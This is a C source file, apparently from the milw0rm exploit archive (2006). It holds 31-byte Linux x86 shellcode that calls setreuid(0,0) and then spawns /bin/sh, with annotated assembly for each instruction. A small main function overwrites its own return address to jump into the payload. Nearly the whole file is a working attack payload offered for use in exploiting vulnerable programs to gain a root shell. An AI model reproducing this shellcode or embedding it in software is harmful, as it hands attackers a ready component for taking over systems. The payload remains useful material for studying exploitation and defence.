30 lines
No EOL
866 B
C
30 lines
No EOL
866 B
C
/*
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* (linux/x86) setreuid(0, 0) + execve("/bin/sh", ["/bin/sh", NULL], NULL) - 31 bytes
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x6a\x46" // push $0x46
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"\x58" // pop %eax
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"\x31\xdb" // xor %ebx,%ebx
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"\x31\xc9" // xor %ecx,%ecx
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"\xcd\x80" // int $0x80
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"\x99" // cltd
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"\xb0\x0b" // mov $0xb,%al
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"\x52" // push %edx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80"; // int $0x80
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-21]
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